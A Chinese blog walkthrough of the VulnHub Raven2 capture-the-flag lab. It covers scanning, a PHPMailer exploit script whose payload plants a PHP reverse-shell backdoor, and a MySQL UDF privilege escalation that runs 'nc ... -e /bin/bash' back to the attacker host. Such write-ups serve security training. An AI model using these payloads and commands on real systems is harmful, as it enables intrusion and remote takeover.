vulnhub-Raven2靶场(中)

文章详细描述了在Raven2靶场中进行的一系列渗透测试步骤,包括部署靶机、信息收集(主机发现、端口扫描、漏洞扫描)、路径爬取,然后重点讲解了如何通过MySQL的UDF(用户定义函数)进行提权,最终达到获取root权限的目标,找到了所有的Flag。

0x00部署

Raven2靶机:下载地址
宿主机:kali2022,ip::::102
靶机::::107
难度: 中
目标: 取得 root 权限 + 4 Flag

0x01信息收集

1.主机发现

$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二层扫描来发现靶机ip,
优点:速度快,缺点:不可路由
$ sudo nmap -sP ip/24
ping扫,速度快,确实快了两秒

2.端口扫描

//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip 
#我常用的:
$ sudo nmap -sS -T4 -A -p- 靶机ip

在这里插入图片描述
开放了一个之前没见过的端口:
111port:
SUN公司的远程过程调用服务

3.信息收集(漏洞扫描)

$sudo nmap --script=vuln -p21,80 靶机ip

4.路径爬取

对80端口进行一下路径爬取,寻找隐藏信息

$ dirsearch -u http://ip  //没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html   //指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
//指定字典进行爆破
$ gobuster dir -r -u http://192.168.56.106 -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt

使用dirsearch爬取的路径结果:
在这里插入图片描述
在vendor中有很多目录:
在这里插入图片描述
在path中找到第一个flag:
在这里插入图片描述
打开readme,这是一个phpmailer的介绍,在version中查看到版本
在这里插入图片描述
在这里插入图片描述
根据以上的信息在searchsploit中看看有无利用漏洞。
在这里插入图片描述
searchsploit -m php/webapps/47954.py下载到本地,打开修改一下:

#关键代码修改参考
#1.target中的ip换成自己的靶机ip,backdoor的文件名可以改一个简单的
#2.nc连接改成自己的宿主机ip,端口
#3.根据根目录修改mm.php所属位置
target = 'http://192.168.56.107/contact.php'
backdoor = '/mm.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.56.102\\\',4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'

fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/mm.php server\" @protonmail.com',
        'message': 'Pwned'}

访问contact页面时会生成mm.php页面后门,开启侦听,访问mm时会将靶机bash传过来
在这里插入图片描述
在这里插入图片描述
升级一下shell,这是一个www-data用户
在这里插入图片描述
利用find指令找到两个flag:
find / -name "flag*"
在这里插入图片描述
在这里插入图片描述
找到flag3的位置,用nc传过来:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x02权限提升-mysql-udf提权

通过ps -aux命令查看当前进程以及使用功能的用户,尝试找一下可以利用的应用程序权限:
在这里插入图片描述
发现了mysql具有root权限,但是一般登录mysql需要账号密码。
在wordpress目录中有后端数据库的配置文件,一般wordpress配置文件:wp-config.php文件通常存放后端数据库密码。尝试读取:
这里靶机的shell版本较低,可以使用less来读取内容:
在这里插入图片描述
得到了数据库的用户密码:
root R@v3nSecurity
登陆之后进行bash调用,发现不行–》改用另一种方法:

mysqludf
udf-即用户定义函数,一旦加载到数据库中可以创建出执行系统命令的函数
#kali之中含有可以利用的,利用方法:
搜索到的内容中.dll结尾的是在win中利用的动态链接库文件
linux-.so文件,表示的是一些共享对象
要把so文件传到mysql的插件中,就能正常使用。

find / -iname "*mysqludf*" -type f 2>/dev/null
在这里插入图片描述
这里的.so文件是linux系统可利用的,利用nc传到靶机上
再次登录到数据库中,查找一下插件所在路径,mysql版本>5.0需要把.so文件放到plugin文件下
在这里插入图片描述
需要把so文件写在这个路径下,需要mysql加载
写入-调用-创建root指令
创建一个表将so文件进行读取:

mysql> use mysql;
#创建一个表用来加载.so文件
mysql> create table aaa(line blob);
mysql> insert into aaa values(load_file('/tmp/udf.so'));
#mysql版本>5.0需要把.so二进制文件使用into dumpfile导出plugin文件下
#导出文件另一个方法:outfile,但是outfile会在文件后边添加换行转义,会破坏二进制文件的导出。
#有mysql root执行的环境下我们就可以通过into dump 函数导入udf.dll进行提权
mysql> select * from aaa into dumpfile '/usr/lib/mysql/plugin/udf.so';
#创建一个函数用来调用方法,指定共享库的名称:udf.so
mysql> create function sys_exec returns integer soname 'udf.so';
#执行一个bash,利用nc传给kali监听的4545端口
mysql> select sys_exec('nc 192.168.56.102 4545 -e /bin/bash');

在这里插入图片描述
获得root权限,查找最后一个flag
在这里插入图片描述

0x03总结

通过raven2靶场练习对mysql提权中udf提权的方式的掌握。

Raven: 2是一台中级难度的boot2root虚拟机,目标是获取四个标志(flag)Raven Security在多次遭受入侵后,采取了额外措施来加固他们的web服务器,以防止黑客入侵。你可以在Vulnhub上找到Raven: 2的ova文件,并使用VirtualBox打开。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vulnhub靶机raven2](https://blog.youkuaiyun.com/weixin_52450702/article/details/127811079)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vulnhub靶机——RAVEN: 2](https://blog.youkuaiyun.com/qq_44029310/article/details/126491848)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vulnhub靶机系列:Kioptrix: Level 1.2 (#3)](https://download.youkuaiyun.com/download/weixin_38717843/14052717)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值